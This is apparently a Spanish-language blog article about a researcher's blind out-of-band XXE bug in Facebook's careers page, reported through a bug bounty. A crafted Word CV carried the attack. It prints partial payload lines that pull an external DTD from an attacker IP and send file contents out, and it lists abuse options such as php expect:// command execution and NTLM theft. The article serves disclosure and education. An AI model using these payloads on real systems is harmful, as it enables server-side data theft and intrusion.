Ciberseguridad · 4 min read · Nov 23, 2025
Hackeo de Facebook inyectando carga XML en un documento de Word

Tabla de Contenidos
- Hackeo de Facebook usando un documento de Microsoft Word falsificado
- Vulnerabilidades Conocidas
- Consecuencias
- Recompensa Recibida
Hackeo de Facebook usando un documento de Microsoft Word falsificado
Mohamed Ramadan, un investigador de seguridad de sombrero blanco, ha encontrado una vulnerabilidad crítica en Facebook que permite el control del usuario mediante un archivo .docx de Microsoft Word falsificado.
Ramadan ha encontrado con éxito vulnerabilidades en grandes proveedores de servicios como Google, Facebook, Twitter, Microsoft, etc., y ha sido recompensado con recompensas por errores por ellos.
Vulnerabilidades Conocidas
Es un hecho conocido que Facebook no tiene los servidores más seguros del mundo. Muchas personas han reportado errores de alta gravedad desde 2010 y la red social también había parcheado una peligrosa vulnerabilidad XXE que afectaba a OpenID a finales de 2013. Un XXE (Entidad Externa XML) es un método que explota un mecanismo de análisis XML débil. Este ataque puede llevar a la divulgación de datos confidenciales, denegación de servicio, escaneo de puertos desde la perspectiva de la máquina donde se encuentra el analizador, y otros impactos en el sistema. Puedes leer más sobre estas correcciones aquí.
Facebook había aclarado que había arreglado todos sus servidores, por lo que encontrar otra vulnerabilidad XXE parecía muy poco probable. Sin embargo, Ramadan decidió continuar su búsqueda. Después de investigar un poco, llegó a la página de carreras de Facebook https://www.facebook.com/careers/. Subió con éxito su CV a Facebook, pero se dio cuenta de que solo podía subir archivos en formatos PDF o .DOCX. Un archivo .docx es básicamente un archivo xml comprimido desarrollado por Microsoft y Ramadan vio una laguna en el sistema de seguridad de Facebook. Creó un CV falso con un documento de Microsoft Word falsificado y lo subió a la página web de carreras de Facebook.
Creó un archivo XML con el siguiente código escrito en él
DOCTYPE root [ dtd SYSTEM “https://197.37.102.90/ext.dtd”> %dtd; %send; ]]>
Ahora tenía un CV falsificado listo. Inició un servidor HTTP ejecutándose en Python en su máquina local. Hizo un archivo llamado ext.dtd esperando en el directorio mohaab007 y aquí está el contenido de ext.dtd:
https://197.37.102.90/FACEBOOK-HACKED?%25file;’>” > %all;
Después de subir el CV de Word falsificado, esperó una respuesta del sitio web de Facebook. Como él mismo afirma en su blog,
“Ahora todo está bien y luego subí CV.docx a https://www.facebook.com/careers/ y esperé un minuto pero no pasó nada. Me dije a mí mismo que era un total fracaso y que revisaría mi perfil de Facebook en su lugar y charlaría con algunos amigos y jugaría un juego o algo después de este largo intento FALLIDO. Perdí unos 15 minutos o más charlando y navegando, ahora es hora de detener el servidor http de Python y cerrar Facebook y todo. Iba a cerrar mi ventana de terminal y me sorprendió ver que algo se conectó a mi servidor http de Python”
Logró engañar a un servidor de Facebook para que se conectara a su servidor. En sus propias palabras, ahora podía explotar esta conexión para:
DoS el sistema de análisis haciéndolo abrir, por ejemplo, file:///dev/random | file:///dev/urandom | file://c:/con/con
Escaneos TCP usando entidades externas HTTP (incluyendo detrás de cortafuegos ya que los servidores de aplicaciones a menudo tienen una visión del mundo diferente a la del atacante)
Acceso no autorizado a datos almacenados como archivos XML en el sistema de archivos del sistema de análisis (por supuesto, el atacante aún necesita una forma de recuperar estos datos)
DoS en otros sistemas (si se permite que el sistema de análisis establezca conexiones TCP a otros sistemas)
Robo de material de autenticación NTLM iniciando acceso a archivos UNC a sistemas bajo control del atacante (¿demasiado lejano?)
Escenario del fin del mundo: una aplicación ampliamente desplegada y altamente conectada vulnerable a este ataque puede ser utilizada para DDoS.
Listado de directorios, leer archivos del sistema y de aplicaciones y en algunos casos ejecutar comandos del sistema usando el envoltorio php expect://.
Consecuencias
Intentó acceder a archivos del sistema en el servidor, pero no logró obtener acceso, probablemente debido a los mecanismos de seguridad en su lugar. Pero estaba seguro de que el ataque que logró realizar fue un XXE Ciego Fuera de Banda (OOB) y además fue un proceso que consumió tiempo porque necesitaba subir y esperar el resultado después de 15 minutos o más. Sin más preámbulos, informó a la red social sobre sus hallazgos. Sus hallazgos fueron rechazados de inmediato la primera vez, con las siguientes palabras.

Respondió al equipo de seguridad de Facebook enviándoles el CV falsificado, a lo que Facebook respondió con la siguiente respuesta:

Aún no estaba satisfecho y continuó correspondiendo con el equipo de Seguridad de Facebook, que finalmente se dio cuenta de la vulnerabilidad en su mecanismo de carga de archivos.

Recompensa Recibida
Facebook ha reconocido la vulnerabilidad y de acuerdo con su política, recompensó a Ramadan por su investigación. Arreglaron la vulnerabilidad añadiendo esta línea de código:
“ libxml_disable_entity_loader(true) “
A continuación se muestra un video de PoC que Ramadan subió a YouTube para mostrar la vulnerabilidad en Facebook
Recurso: Attack Secure
Recibe nuevas publicaciones en tu bandeja de entrada.
No spam. Cancela la suscripción en cualquier momento.